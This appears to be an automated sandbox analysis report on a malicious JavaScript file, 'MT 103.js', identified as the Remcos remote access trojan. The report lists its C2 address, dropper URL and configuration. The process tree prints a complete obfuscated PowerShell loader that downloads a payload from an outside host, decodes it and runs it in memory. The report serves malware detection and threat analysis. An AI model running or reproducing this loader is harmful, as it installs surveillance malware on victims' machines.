Overview

overview

10

Static

static

1

MT 103.js

windows10-2004-x64

10

MT 103.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    298s
  • max time network
    128s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/09/2026, 04:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    MT 103.js
  • Size 475KB
  • Sample260909-e5r6ss1fqf
  • SHA256 58272b87d557f176f1e00613641bfb9c2c7e099e37aa433240708f0496841c4e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
remotehostexecutionremcosrat

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://lively-fog-af49.pablosoftwareplus.workers.dev/UFfth

Extracted

Family

  • remcos

Version

  • 7.3.1 Pro

Botnet

  • RemoteHost

C2

  • 154.127.53.194:47894

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-UAV81I

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\MT 103.js"
    1⤵
      PID:764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$tufiyoxaporequcolulopacemidejedokukazolalohukuxaxebadorireyipomomisejeyeyabiwimoqekividukenuzekekari=''https://lively-fog-af49.pablosoftwareplus.workers.dev/UFfth''; $kagomejazojihezecihasemebozamakobigoyacotisiselofuweyutonebadaxitikaseneweferitatuwepifofeloculidare = [System.Net.HttpWebRequest]::Create($tufiyoxaporequcolulopacemidejedokukazolalohukuxaxebadorireyipomomisejeyeyabiwimoqekividukenuzekekari); $kagomejazojihezecihasemebozamakobigoyacotisiselofuweyutonebadaxitikaseneweferitatuwepifofeloculidare.UserAgent = ''Mozilla/5.0''; $poromuquhibobejabuyafigifokunotakujicisudixicezosebajasitoxasecalukuzevodovepevepitazayavupedixolina = $kagomejazojihezecihasemebozamakobigoyacotisiselofuweyutonebadaxitikaseneweferitatuwepifofeloculidare.GetResponse().GetResponseStream(); $hogikudawosovezenawemuxatizozifugunebejapucaqoronahizomujiditazoriqugacikoyododugagawibijovokeyujoni = New-Object IO.StreamReader($poromuquhibobejabuyafigifokunotakujicisudixicezosebajasitoxasecalukuzevodovepevepitazayavupedixolina); $mekurefecemopoqejipumupipaguqudehicosigazuyoceyeqogefenewipuyotivedugugihumemowunoxicivuqaloluwopaki = $hogikudawosovezenawemuxatizozifugunebejapucaqoronahizomujiditazoriqugacikoyododugagawibijovokeyujoni.ReadtoEnd(); $fawihurizuhuqesuhuzezukavifehicuquwesopadabimuyamofenuvuqesugumacabevacibutesocidopadonuvalutinafaxo=''IN-''; $gaxikeroxahacobejobucahugomufukekiviwokaxujofayewelenelowimaritejanetopibarowonewuneduzurocenuboyiwu=''-in1''; $xanepomumilusaxucuqadamosiwirezelayalobolekutohukiqoqepaguqapipedasulixudicoketigipiqokigilaqaroviko=$mekurefecemopoqejipumupipaguqudehicosigazuyoceyeqogefenewipuyotivedugugihumemowunoxicivuqaloluwopaki.IndexOf($fawihurizuhuqesuhuzezukavifehicuquwesopadabimuyamofenuvuqesugumacabevacibutesocidopadonuvalutinafaxo); $cutenifehebafijotecitidebunotuvotuwijojevazameyayilazoyopoyedowavosedesocirotebutoxaboqahizotocajoyu=$mekurefecemopoqejipumupipaguqudehicosigazuyoceyeqogefenewipuyotivedugugihumemowunoxicivuqaloluwopaki.LastIndexOf($gaxikeroxahacobejobucahugomufukekiviwokaxujofayewelenelowimaritejanetopibarowonewuneduzurocenuboyiwu); if($xanepomumilusaxucuqadamosiwirezelayalobolekutohukiqoqepaguqapipedasulixudicoketigipiqokigilaqaroviko -eq -1 -or $cutenifehebafijotecitidebunotuvotuwijojevazameyayilazoyopoyedowavosedesocirotebutoxaboqahizotocajoyu -eq -1){return}; $xaquyajicetahocovojovigecimikahofohesiricopewixuqaxajuyuruhibuyilukeqinayunidolohiyewelilusobeqojala=$xanepomumilusaxucuqadamosiwirezelayalobolekutohukiqoqepaguqapipedasulixudicoketigipiqokigilaqaroviko+$fawihurizuhuqesuhuzezukavifehicuquwesopadabimuyamofenuvuqesugumacabevacibutesocidopadonuvalutinafaxo.Length; $fafiwasofisoleripanemoxasetagaxuvakamabezofosasegavilebenavepigixuqazuquvuxivuvejiqecaxalamemadipufu=$mekurefecemopoqejipumupipaguqudehicosigazuyoceyeqogefenewipuyotivedugugihumemowunoxicivuqaloluwopaki.Substring($mekurefecemopoqejipumupipaguqudehicosigazuyoceyeqogefenewipuyotivedugugihumemowunoxicivuqaloluwopaki.IndexOf($fawihurizuhuqesuhuzezukavifehicuquwesopadabimuyamofenuvuqesugumacabevacibutesocidopadonuvalutinafaxo)+$fawihurizuhuqesuhuzezukavifehicuquwesopadabimuyamofenuvuqesugumacabevacibutesocidopadonuvalutinafaxo.Length, $cutenifehebafijotecitidebunotuvotuwijojevazameyayilazoyopoyedowavosedesocirotebutoxaboqahizotocajoyu-($mekurefecemopoqejipumupipaguqudehicosigazuyoceyeqogefenewipuyotivedugugihumemowunoxicivuqaloluwopaki.IndexOf($fawihurizuhuqesuhuzezukavifehicuquwesopadabimuyamofenuvuqesugumacabevacibutesocidopadonuvalutinafaxo)+$fawihurizuhuqesuhuzezukavifehicuquwesopadabimuyamofenuvuqesugumacabevacibutesocidopadonuvalutinafaxo.Length)); $newaxovajijufimiwopumacipicuzewajaqisacacadasulagevomituhazokulimamexucapupokigimofejugelonehovihuxi=$fafiwasofisoleripanemoxasetagaxuvakamabezofosasegavilebenavepigixuqazuquvuxivuvejiqecaxalamemadipufu.Replace(''*'',''A'').ToCharArray(); $yaponodofoqunenikeqazexedapojowedigiwafovisihafuxigetiterajumumuhipovawijuqedivohakabixedefogusayewi = -join $newaxovajijufimiwopumacipicuzewajaqisacacadasulagevomituhazokulimamexucapupokigimofejugelonehovihuxi[($newaxovajijufimiwopumacipicuzewajaqisacacadasulagevomituhazokulimamexucapupokigimofejugelonehovihuxi.Length - 1)..0]; $wotekequnujoyeribifufayuxopadiponegasanatuquheyicecoyubalifihufekoforibobagibivimeferumisiwusehehexo = [Type]::GetType(''System.Convert''); [byte[]]$sugunawavihajozuxabosuruyuzehomibonuwifukeseqezabahonujajozomediwofabeqepolurozolumuligojovipavuviqa = $wotekequnujoyeribifufayuxopadiponegasanatuquheyicecoyubalifihufekoforibobagibivimeferumisiwusehehexo.GetMethod(''FromBase64String'').Invoke($null, (, $yaponodofoqunenikeqazexedapojowedigiwafovisihafuxigetiterajumumuhipovawijuqedivohakabixedefogusayewi)); $qenujotomaquvobaronucusurisucidoziqafapexotenesojenizelutuwewijujotuhulesegeqidomicuxowubesodugafode=[AppDomain]::CurrentDomain.GetType().GetMethod(''Load'', [byte[]]); $devabeyohuqicenaxeyowuzatafuhahicotipupefesedizosidufazumawivobabuqasidokekekaqetumibixumesuxejevife=$qenujotomaquvobaronucusurisucidoziqafapexotenesojenizelutuwewijujotuhulesegeqidomicuxowubesodugafode.Invoke([AppDomain]::CurrentDomain, (,$sugunawavihajozuxabosuruyuzehomibonuwifukeseqezabahonujajozomediwofabeqepolurozolumuligojovipavuviqa)); $quzafazuwaremotikageyezeregomujimaluwukehisabopewejetokogucafedawalakurafacikovenuzafasahuluxowikoke=(''EDv/Y0lM7dy3WkJnQR4f8q2N3MU5xyYVtdGly95lwPYeAWzxWYvFR1ZhT0E3pR0I2R/AZwYQel6KMxe4iWzaPw=='','''',''VkXh9kN7BNEPBVU2pUOO21uQjjxs93xn26o7cMcwsHEENQuTiBt7VHcdpEqRf4pK'',''Rv5V7Iu1H/USVEE+oukWaJXAwOK3FUA3kSy4+CNtgZY='',''J+q37AQxfgUXl9BdQF1u8dvh4Q9EdG5yjD60JLLZ1ec='',''cHT4BwPDhO9KidMIlnYihAIBrWuNP4Thl7Anr67Xq+M='',''5HCBADqXFWksWQfQdtcXL2pz3dfEjYsZfgifWKN/ZuQ='','''',''RorGA4Zn8Itq8LmKxT02r3T6Dy4DmneyfgE2tfJhDys='',''PGdvfLr6yrNtrO3KWQXuETp9IIn/AyBSV1YN+Hdwh39cC2nQB/yHhHt9fgboWKi2'',''GL+nC+VrCG7Cu8dlsbIM4Ft5KaMQnRHvofLDFQTJk4E='',''voL5rochjRAkKLr+AXYEA9srz8iEb8UcVJypqXNWxPg='',''O6SG5Z+zNHwFk1oM0+vJ4FWSqSBbPcnlqIPTVxYF41Y='','''',''1Ll8zsTd/0A32/Zw+TQplDzZyKQFMW2bVdLGt/b54Ak='',''Ls1anxLXfjGm1+kRJbRI7abvq22iAlfj+CxHZszEtZg='','''','''',''''); try{ $salewuzodagicolugokojabuduwozepajidedebovuvipisexalawijuyamamumoyiyiguraxucexucavigunasoxenepahehahi=($devabeyohuqicenaxeyowuzatafuhahicotipupefesedizosidufazumawivobabuqasidokekekaqetumibixumesuxejevife.GetTypes() | Where-Object Name -eq ''casa'' | Select-Object -First 1); $caduyojayogesedoboduzanatimozivafecokohukuyoqayubawasuxawarogawefezenogucatugojajepakovohiduliqelivu=($salewuzodagicolugokojabuduwozepajidedebovuvipisexalawijuyamamumoyiyiguraxucexucavigunasoxenepahehahi.GetMethods() | Where-Object Name -eq ''trailer'' | Select-Object -First 1); $caduyojayogesedoboduzanatimozivafecokohukuyoqayubawasuxawarogawefezenogucatugojajepakovohiduliqelivu.Invoke($null,[object[]]$quzafazuwaremotikageyezeregomujimaluwukehisabopewejetokogucafedawalakurafacikovenuzafasahuluxowikoke) }catch{}'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4876
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe
        2⤵
          PID:5340

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/4876-10-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
            Download

            memory/4876-12-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
            Download

            memory/4876-2-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
            Download

            memory/4876-6-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
            Download

            memory/4876-5-0x000001CE726E0000-0x000001CE72702000-memory.dmp
            Download

            memory/4876-7-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
            Download

            memory/4876-8-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
            Download

            memory/4876-9-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
            Download

            memory/4876-1-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
            Download

            memory/4876-0-0x00007FFE4D74F000-0x00007FFE4D750000-memory.dmp
            Download

            memory/4876-11-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
            Download

            memory/4876-13-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
            Download

            memory/4876-14-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
            Download

            memory/4876-15-0x000001CE72C20000-0x000001CE72CF2000-memory.dmp
            Download

            memory/4876-16-0x000001CE72D10000-0x000001CE72D22000-memory.dmp
            Download

            memory/4876-17-0x000001CE72720000-0x000001CE7272A000-memory.dmp
            Download

            memory/4876-20-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
            Download

            memory/5340-18-0x0000000140000000-0x00000001400AF000-memory.dmp
            Download